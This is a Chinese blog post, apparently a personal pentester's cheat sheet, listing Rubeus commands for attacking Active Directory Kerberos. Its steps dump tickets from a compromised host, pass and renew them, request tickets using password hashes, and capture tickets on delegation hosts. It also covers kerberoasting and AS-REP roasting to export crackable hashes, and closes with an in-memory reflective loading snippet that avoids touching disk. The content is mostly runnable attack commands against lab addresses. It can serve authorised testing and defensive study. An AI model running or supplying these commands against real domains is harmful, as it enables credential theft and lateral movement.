囊空恐羞涩,留得一钱看。
导航
- 0 前言
- 1 票据管理
- 2 票据提取
- 3 票据请求
- 4 委派滥用
- 5 烘烤攻击
- 6 杂项
0、前言
Rubeus 是一个专注于原始 Kerberos 交互和滥用的工具,虽然其命令复杂且使用体验远不如 impacket 工具集,但在域渗透中它仍是一个不可或缺的工具【尤其是它的票据提取功能】。这是因为在使用 impacket 等远程利用工具的前提是需要先拥有一个域用户凭据或票据,而更多时候我们可能只是取得了目标网络某台域主机的 shell,却并不能够知晓当前用户的密码,这大大限制了使用 impacket 等远程工具对域进行枚举。
而为了应对这种情况,我们可以借助 Rubeus 的票据提取功能,先导出当前 shell 中的用户票据,然后再对票据进行 kirbir 转 ccache 处理,最后就可以提供给 impacket 等工具进行使用了。【注:也可以使用该票据去创建一个机器账户,这样便有了一个用户凭证。】
注:在域渗透中,支持票据认证的远程枚举工具:impacket、nxc、pywerview。
1、票据管理
#(1)导入票据【注:票据被导入到了内存中,故所有 cmd 会话均可使用该票据。】 Rubeus.exe ptt /ticket:user.kirbi #(2)列出票据 Rubeus.exe klist #(3)以表格的方式列出票据 Rubeus.exe triage #(4)清理票据【注:清理命令执行之后,并不会立马就生效,还需要等 1 分钟左右票据才会失效。】 Rubeus.exe purge #(5)查看票据详情 Rubeus.exe describe /ticket:user.kirbi #(6)票据续期【注:续期旧票据之前,必须确保旧票据还在有效期内,否则无法成功。同时,如果票据还没快到期,那么这条命令是不会产生续期动作的。】 Rubeus.exe renew /ticket:test.kirbi /outfile:test.kirbi2、票据提取
#(1)转储当前登录会话缓存中的票据【注:这里边的 TGT 票据可能会不成功,但 cifs 票据多试几次似乎可以成功。应用过程与下面一样。】 Rubeus.exe dump /nowrap >ticket.txt #(2)转储当前登录会话缓存中有效的票据 Rubeus.exe tgtdeleg /nowrap >ticket.txt #应用过程 echo -n 'ticket.kirbi 的 base64 字串' | base64 -d - > user.kirbi impacket-ticketConverter user.kirbi user.ccache impacket-net -k -no-pass -dc-ip 192.168.56.50 -target-ip 192.168.56.50 test@dc2012.skylark.com user -name admin #(3)票据监听捕获【注:需要拥有本地管理员级别的权限才能够运行,它可以实时监测本机有关票据请求的情况,当目标机器存在非约束委派时,该命令很有效。】 Rubeus.exe monitor /interval:5 /nowrap #应用捕获票据的过程和上面一样。TGT 票据和 TGS 票据的辨别:TGT 的 ServiceName 值的格式是 krbtgt/SKYLARK.COM 的,而 TGS 的 ServiceName 值的格式是 cifs/dc2012.skylark.com 的。
3、票据请求
#(1)以账户密码的方式请求 TGT 票据,并导入到当前会话 Rubeus.exe asktgt /user:test /password:password@123 /outfile:test.kirbi /ptt /nowrap #(2)以密码哈希的方式请求 TGT 票据 Rubeus.exe asktgt /user:test /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt #(3)请求 TGS 票据步骤如下: #(3.1)首先,生成一张 TGT 票据 Rubeus.exe asktgt /user:test /password:password@123 /outfile:test-tgt.kirbi /nowrap #(3.2)然后,拿着上面生成的 TGT 票据去请求 rc4 加密算法的 TGS 票据。 Rubeus.exe asktgs /ticket:test-tgt.kirbi /service:LDAP/dc2012.skylark.com,cifs/dc2012.skylark.com /ptt /enctype:rc4 /outfile:test-tgs.kirbi4、委派滥用
待定…
5、烘烤攻击
#(1)查看可 kerberoast 的用户数量 Rubeus.exe kerberoast /stats #(2)导出可 kerberoast 的哈希【注册 SPN 的用户】 Rubeus.exe kerberoast /outfile:hashes.txt #(3)导出可 asreproast 的哈希【关闭预认证的用户】 Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt6、杂项
#(1)创建一个新的cmd 窗口,并为其注入票据【未成功】 Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show /ticket:user.kirbi #(2)计算 RC4 格式的密码哈希 Rubeus.exe hash /password:Password123! #(3)计算多种加密格式的密码哈希 Rubeus.exe hash /password:Password123! /user:user /domain:skylark.comPowerShell 下关于 Rubeus 的别样调用方式:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Rubeus.exe"))|Out-File-Encoding ASCII C:\Temp\rubeus.txt$RubeusAssembly=[System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))[Rubeus.Program]::Main("dump /user:administrator".Split())| 我的博客园 |
|---|